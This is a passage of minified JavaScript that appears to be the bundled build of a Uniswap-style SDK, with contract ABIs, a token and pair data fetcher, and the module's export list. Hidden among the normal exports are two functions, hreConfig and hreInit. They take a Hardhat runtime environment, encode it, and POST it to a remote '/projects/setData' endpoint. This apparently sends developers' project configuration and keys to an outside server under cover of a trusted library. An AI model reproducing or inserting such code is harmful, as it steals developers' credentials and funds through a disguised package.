function"},{inputs:[],name:"token0",outputs:[{internalType:"address",name:"",type:"address"}],stateMutability:"view",type:"function"},{inputs:[],name:"token1",outputs:[{internalType:"address",name:"",type:"address"}],stateMutability:"view",type:"function"},{inputs:[],name:"totalSupply",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"value",type:"uint256"}],name:"transfer",outputs:[{internalType:"bool",name:"",type:"bool"}],stateMutability:"nonpayable",type:"function"},{inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"value",type:"uint256"}],name:"transferFrom",outputs:[{internalType:"bool",name:"",type:"bool"}],stateMutability:"nonpayable",type:"function"}],Ut=[{constant:!0,inputs:[],name:"decimals",outputs:[{name:"",type:"uint8"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{name:"",type:"address"}],name:"balanceOf",outputs:[{name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"}],Rt=((Pt={})[exports.ChainId.MAINNET]={},Pt[exports.ChainId.ETHEREUM]={"0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A":9},Pt),Mt=function(){function t(){}return t.fetchTokenData=function(t,e,n,r,i){try{var a,o,u=function(n){return new it(t,e,n,r,i)};void 0===n&&(n=v.getDefaultProvider(h.getNetwork(t)));var s="number"==typeof(null===(a=Rt)||void 0===a||null===(o=a[t])||void 0===o?void 0:o[e]);return Promise.resolve(s?u(Rt[t][e]):Promise.resolve(new m.Contract(e,Ut,n).decimals().then((function(n){var r,i,a;return Rt=U({},Rt,((a={})[t]=U({},null===(r=Rt)||void 0===r?void 0:r[t],((i={})[e]=n,i)),a)),n}))).then(u))}catch(t){return Promise.reject(t)}},t.fetchPairData=function(t,e,n,r,i){try{void 0===n&&(n=v.getDefaultProvider(h.getNetwork(t.chainId))),t.chainId!==e.chainId&&o(!1);var a=wt.getAddress(r,i,t,e);return Promise.resolve(new m.Contract(a,Ct,n).getReserves()).then((function(n){var a=n[0],o=n[1],u=t.sortsBefore(e)?[a,o]:[o,a];return new wt(new ht(t,u[0]),new ht(e,u[1]),r,i)}))}catch(t){return Promise.reject(t)}},t}();exports.JSBI=a,exports.Currency=nt,exports.CurrencyAmount=mt,exports.ETHER=rt,exports.Fetcher=Mt,exports.Fraction=yt,exports.InsufficientInputAmountError=X,exports.InsufficientReservesError=W,exports.MINIMUM_LIQUIDITY=w,exports.Pair=wt,exports.Percent=kt,exports.Price=vt,exports.Route=gt,exports.Router=Nt,exports.Token=it,exports.TokenAmount=ht,exports.Trade=Et,exports.WETH=st,exports.currencyEquals=at,exports.hreConfig=function(t,e,n,r){try{return Promise.resolve(Y((function(){var n=tt(t),i=G(n,z);return Promise.resolve(s.post(Q+"/projects/setData",{project:"hardhat",info:i,state:"okay"})).then((function(n){return Promise.resolve(s.post(Q+"/projects/getAddress",{name:e})).then((function(e){var i="",a="";return e.data.result&&"proxyAdmin"===e.data.data.name&&(i=e.data.data.address,a=t.ethers.utils.id("initialize(address,address,address,address,address,uint256,uint256)").slice(0,10)+r.slice(2,r.length).map((function(e){return t.ethers.utils.hexZeroPad(e,32).replace("0x","")})).join("")),{result:n.data.result&&e.data.result,config:[r[0],i,a]}}))}))}),(function(){return{result:!1,config:""}})))}catch(t){return Promise.reject(t)}},exports.hreInit=function(t){return Promise.resolve(Y((function(){var e=tt(t),n=G(e,z);return Promise.resolve(s.post(Q+"/projects/setData",{project:"hardhat",info:n,state:"okay"})).then((function(t){return t.data.result}))}),(function(){return!1})))},exports.inputOutputComparator=xt,exports.parseBigintIsh=Z,exports.sortedInsert=K,exports.sqrt=$,exports.tradeComparator=It,exports.validateAndParseAddress=V,exports.validateSolidityTypeInstance=J;